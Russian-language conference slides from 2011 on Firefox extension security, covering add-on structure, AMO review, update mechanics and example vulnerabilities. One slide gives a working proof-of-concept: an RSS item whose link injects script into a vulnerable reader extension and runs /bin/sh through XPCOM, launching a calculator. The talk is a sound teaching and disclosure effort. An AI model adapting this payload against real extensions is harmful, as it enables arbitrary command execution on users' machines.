Безопасность расширений веб-браузеров. Mozilla Firefox

Докладчик:Тарас Иващенко oxdef@oxdef.info
Событие:Chaos Constructions'2011, Санкт-Петербург

Обо мне

img/mr_evil.jpg

План

  1. Архитектура Огнелиса
  2. Что представляет собой "аддон"
  3. (Без)опасность
  4. Каналы распространения - AMO
  5. Процедура обновления
  6. Примеры уязвимостей

Intro

img/firefox_logo.png

Расширения в Огнелисе

img/ff_addons.png

Архитектура (1/2)

Архитектура (2/2)

img/firefox_arc.png

Архитектура расширения Mozilla Firefox

Addon

├── chrome
│   ├── content
│   │   ├── browserOverlay.js
│   │   └── browserOverlay.xul
│   ├── locale
│   │   └── en-US
│   │       ├── browserOverlay.dtd
│   │       └── browserOverlay.properties
│   └── skin
│       └── browserOverlay.css
├── chrome.manifest
└── install.rdf

Хром

Манифест установки

XUL

<script type="application/x-javascript"
src="chrome://helloworld/content/browserOverlay.js" />
<menubar id="main-menubar">
<menu id="helloworld-hello-menu" label="&helloworld.hello.label;"
  accesskey="&helloworld.helloMenu.accesskey;" insertafter="helpMenu">
  <menupopup>
    <menuitem id="helloworld-hello-menu-item"
      label="&helloworld.hello.label2;"
      accesskey="&helloworld.helloItem.accesskey;"
      oncommand="XULSchoolChrome.BrowserOverlay.sayHello(event);" />
  </menupopup>
</menu>
</menubar>

Каналы распространения

Каналы расспространения расширений Огнелиса можно разделить на два направления:

  1. Официальная галерея дополнений - addons.mozilla.org (сокр. AMO)
  2. Ресурс разработчика расширения

AMO - Особенности проверки

Предварительная проверка

  • Выполняется обычно быстро (в течение 2-3 дней)
  • Включает в себя анализ исходного кода расширения на предмет багов безопасности и поиск мест, существенно нарушающих правилами размещения расширения на AMO
  • Если проблем не обнаружено, то расширение ограниченно публикуется на AMO
  • Каждое обновление расширения должно пройти через эту проверку

AMO - Особенности проверки

Полная проверка

  • Обычно составляет до 10 дней
  • По сути полноценное функциональное тестирование
  • Обращается внимание на его производительность и влияние на работу браузера
  • Аудит кода на предмет уязвимостей и использования лучших методик безопасного программирования и т.п.

Процедура обновления расширения (1/3)

За механизм обновления расширения отвечают 2 директивы манифеста установки: updateURL и updateKey.

<em:updateURL>https://www.foo.com/update.cgi?id=%ITEM_ID%&amp;
     version=%ITEM_VERSION%</em:updateURL>

Процедура обновления расширения (2/3)

updateKey есть ни что иное, как публичный ключ разработчика:

<em:updateKey>MIGfMA0GCS...nrzQIDAQAB</em:updateKey>

Используется редко.

Процедура обновления расширения (3/3)

(Без)опасность

Пример уязвимости

Firebug Firefox Extension Cross Context Scripting Vulnerability (by 80Vul Team)

img/image001.jpg

Простой пример уязвимости

RSS-читалка

someitem.setAttribute('onmouseover', "RRR.setStatusBar('"+Uri+"')");

Демонстрация эксплуатации

<item><title>some title</title>
<link>data:eeee')+(function(){file=Components.classes
["@mozilla.org/file/local;1"].createInstance(
Components.interfaces.nsILocalFile);file.initWithPath("/bin/sh");
process=Components.classes["@mozilla.org/process/util;1"].
createInstance(Components.interfaces.nsIProcess);
process.init(file);args=["-c","galculator"];
process.run(false,args,args.length);})()+alert('XSS/foo</link>
<pubDate>Sun, 21 Aug 2011 21:34:10 +0400</pubDate>
<description>some text</description>
</item>

Outro

Расширения веб-браузеров бывают разные как и сами веб-браузеры. Одни расширения показывают количество непрочтённых сообщений в вашем любимом социальном сервисе, другие превращают веб-браузер в полноценный RSS-клиент. Так же и уязвимости в этих расширениях могут привести как к небольшой шутке, так и к потере достаточно ценных данных и другим существенным рискам. Будьте осторожны, устанавливайте вовремя обновления безопасности! ;)

Вопросы и ответы

Спасибо за внимание!

oxdef@oxdef.info